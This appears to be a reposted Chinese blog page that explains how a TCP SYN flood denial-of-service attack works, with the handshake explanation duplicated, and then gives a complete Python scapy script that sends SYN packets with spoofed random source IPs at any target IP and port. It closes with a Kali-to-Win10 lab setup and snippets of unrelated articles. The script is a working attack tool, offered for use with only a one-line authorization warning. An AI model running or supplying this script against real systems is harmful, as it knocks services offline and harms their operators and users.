news 2026/4/16 12:54:42

python实现synflood攻击

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
python实现synflood攻击

SYN Flood攻击原理

syn-flood(syn洪水)是种典型的DoS (Denial of Service,拒绝服务) 攻击。效果就是服务器TCP连接资源耗尽,停止响应正常的TCP连接请求。

假设连接发起方是A,连接接受方是B,即B在某个端口(Port)上监听A发出的连接请求。如下图所示,左边是A,右边是B。

SYN Flood攻击原理

syn-flood(syn洪水)是种典型的DoS (Denial of Service,拒绝服务) 攻击。效果就是服务器TCP连接资源耗尽,停止响应正常的TCP连接请求。

假设连接发起方是A,连接接受方是B,即B在某个端口(Port)上监听A发出的连接请求。如下图所示,左边是A,右边是B。

A首先发送SYN(Synchronization)消息给B,要求B做好接收数据的准备;B收到后反馈SYN-ACK(Synchronization-Acknowledgement) 消息给A。

这个消息的目的有两个:

  1. 向A确认已做好接收数据的准备
  2. 同时要求A也做好接收数据的准备

此时B已向A确认好接收状态,并等待A的确认,连接处于半开状态(Half-Open),顾名思义只开了一半;A收到后再次发送ACK(Acknowledgement)消息给B,向B确认也做好了接收数据的准备,至此三次握手完成,“连接”就建立了,实际上只是双方都按对方的要求进入了可以接收消息的状态。以上彼此要求对方确认的“状态”主要是双方将要使用的消息序号(SequenceNum),TCP为保证消息按发送顺序抵达接收方的上层应用,需要用消息序号来标记消息的发送先后顺序的。

TCP是“双工”(Duplex)连接,同时支持双向通信,也就是双方同时可向对方发送消息,其中SYN和SYN-ACK消息开启了A→B的单向通信通道(B获知了A的消息序号);SYN-ACK和ACK消息开启了B→A单向通信通道(A获知了B的消息序号)。

以上讨论的是在双方诚实可信,网络正常的理想状况下建立连接。但实际情况是,网络可能不稳定会丢包,使握手消息不能抵达对方,也可能是对方故意不按规矩来,故意延迟或不发送握手确认消息。假设B通过某TCP端口提供服务,B在收到A的SYN消息时,积极的反馈了SYN-ACK消息,使连接进入半开状态,因为B不确定自己发给A的SYN-ACK消息或A反馈的ACK消息是否会丢在半路,所以会给每个待完成的半开连接都设一个Timer,如果超过时间还没有收到A的ACK消息,则重新发送一次SYN-ACK消息给A,直到重试超过一定次数时才会放弃。

A首先发送SYN(Synchronization)消息给B,要求B做好接收数据的准备;B收到后反馈SYN-ACK(Synchronization-Acknowledgement) 消息给A。

这个消息的目的有两个:

  1. 向A确认已做好接收数据的准备
  2. 同时要求A也做好接收数据的准备

此时B已向A确认好接收状态,并等待A的确认,连接处于半开状态(Half-Open),顾名思义只开了一半;A收到后再次发送ACK(Acknowledgement)消息给B,向B确认也做好了接收数据的准备,至此三次握手完成,“连接”就建立了,实际上只是双方都按对方的要求进入了可以接收消息的状态。以上彼此要求对方确认的“状态”主要是双方将要使用的消息序号(SequenceNum),TCP为保证消息按发送顺序抵达接收方的上层应用,需要用消息序号来标记消息的发送先后顺序的。

TCP是“双工”(Duplex)连接,同时支持双向通信,也就是双方同时可向对方发送消息,其中SYN和SYN-ACK消息开启了A→B的单向通信通道(B获知了A的消息序号);SYN-ACK和ACK消息开启了B→A单向通信通道(A获知了B的消息序号)。

以上讨论的是在双方诚实可信,网络正常的理想状况下建立连接。但实际情况是,网络可能不稳定会丢包,使握手消息不能抵达对方,也可能是对方故意不按规矩来,故意延迟或不发送握手确认消息。假设B通过某TCP端口提供服务,B在收到A的SYN消息时,积极的反馈了SYN-ACK消息,使连接进入半开状态,因为B不确定自己发给A的SYN-ACK消息或A反馈的ACK消息是否会丢在半路,所以会给每个待完成的半开连接都设一个Timer,如果超过时间还没有收到A的ACK消息,则重新发送一次SYN-ACK消息给A,直到重试超过一定次数时才会放弃。

使用python编写代码攻击:syn.py

#!/usr/bin/env python3 """ 绕过连接拒绝 """ import socket import random import struct import time import sys from scapy.all import IP, TCP, send def send_syn_flood(target_ip, target_port, duration=60): """发送SYN洪水攻击""" print(f"[*] 对 {target_ip}:{target_port} 发动SYN洪水攻击") print("[*] 按 Ctrl+C 停止") count = 0 start_time = time.time() try: while time.time() - start_time < duration: # 随机源IP和端口 src_ip = f"{random.randint(1,254)}.{random.randint(1,254)}." \ f"{random.randint(1,254)}.{random.randint(1,254)}" src_port = random.randint(1024, 65535) # 创建SYN包 ip_layer = IP(src=src_ip, dst=target_ip) tcp_layer = TCP(sport=src_port, dport=target_port, flags="S", seq=random.randint(0, 4294967295)) # 发送(无连接建立) send(ip_layer/tcp_layer, verbose=0) count += 1 # 显示进度 if count % 100 == 0: elapsed = time.time() - start_time print(f"[*] 已发送 {count} 个SYN包,速率: {count/elapsed:.1f} 包/秒") # 避免太快导致本地网络问题 time.sleep(0.001) except KeyboardInterrupt: print(f"\n[!] 用户停止攻击") elapsed = time.time() - start_time print(f"\n[+] 攻击统计:") print(f" 总数据包: {count}") print(f" 持续时间: {elapsed:.1f}秒") print(f" 平均速率: {count/elapsed:.1f}包/秒") return count > 0 if __name__ == "__main__": if len(sys.argv) < 3: print("用法: python syn_only.py <目标IP> <目标端口> [持续时间秒数]") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) duration = int(sys.argv[3]) if len(sys.argv) > 3 else 60 # 验证IP try: socket.inet_aton(target_ip) except: print(f"错误: 无效的IP地址: {target_ip}") sys.exit(1) # 检查scapy是否可用 try: from scapy.all import IP, TCP, send except ImportError: print("错误: 需要安装scapy库 (pip install scapy)") sys.exit(1) print("[*] 警告: 仅用于授权的安全测试!") result = send_syn_flood(target_ip, target_port, duration) if result: print("[+] 攻击可能已生效 - 目标可能已崩溃或防火墙已介入") else: print("[!] 攻击失败")

环境准备:kali和win10

攻击对象:win10,ip:192.168.136.136

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/13 12:09:58

互联网域间路由系统安全风险分析及应对策略研究

一、前言DNS作为互联网的“电话簿”&#xff0c;承担域名解析的核心职能。然而&#xff0c;DNS设计初期的开放性导致其长期暴露于多种安全威胁中。例如在边界路由广播协议&#xff08;Border Gateway Protocol, BGP&#xff09;路由劫持中&#xff0c;攻击者通过伪造BGP路由宣告…

作者头像 李华
网站建设 2026/4/12 8:30:02

Java面试一般问什么?

程序员面试背八股&#xff0c;可以说是现在互联网开发岗招聘不可逆的形式了&#xff0c;其中最卷的当属Java&#xff01;&#xff08;网上动不动就是成千上百道的面试题总结&#xff09;你要是都能啃下来&#xff0c;平时技术不是太差的话&#xff0c;面试基本上问题就不会太大…

作者头像 李华
网站建设 2026/4/13 14:50:21

Java毕设项目推荐-基于springboot的校园传统文化交流系统传统文化资源(典籍、技艺、民俗等)、活动信息【附源码+文档,调试定制服务】

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/4/13 10:06:03

智谱·Open-AutoGLM智能体实战指南:3步实现自动化代码生成与优化

第一章&#xff1a;智谱Open-AutoGLM智能体概述智谱Open-AutoGLM 是由智谱AI推出的一款面向自动化任务处理的大型语言模型智能体框架。该智能体基于 GLM 大模型架构&#xff0c;融合了自然语言理解、代码生成与工具调用能力&#xff0c;能够自主解析用户指令、规划执行路径&…

作者头像 李华
网站建设 2026/4/7 22:55:45

Open-AutoGLM部署已完成,如何实现高并发推理服务上线?

第一章&#xff1a;Open-AutoGLM部署完成后的系统概览Open-AutoGLM 成功部署后&#xff0c;系统进入可运行状态&#xff0c;各核心组件协同工作以支持自动化大语言模型任务调度与执行。此时可通过访问默认服务端口验证系统运行状态&#xff0c;并检查关键服务进程是否正常启动。…

作者头像 李华
网站建设 2026/4/15 18:07:34

穿透表象:在“人类在环-规则在场-语境主权”框架下

穿透表象&#xff1a;在“人类在环-规则在场-语境主权”框架下——重审AI元人文构想的风险与未来前天投递手稿论文通过了&#xff0c;其实我不觉得成功了&#xff0c;可能预印本平台看我两个月连续投递134篇非专业手稿论文&#xff0c;可怜我我理解您的感受。当巨大的心力付出后…

作者头像 李华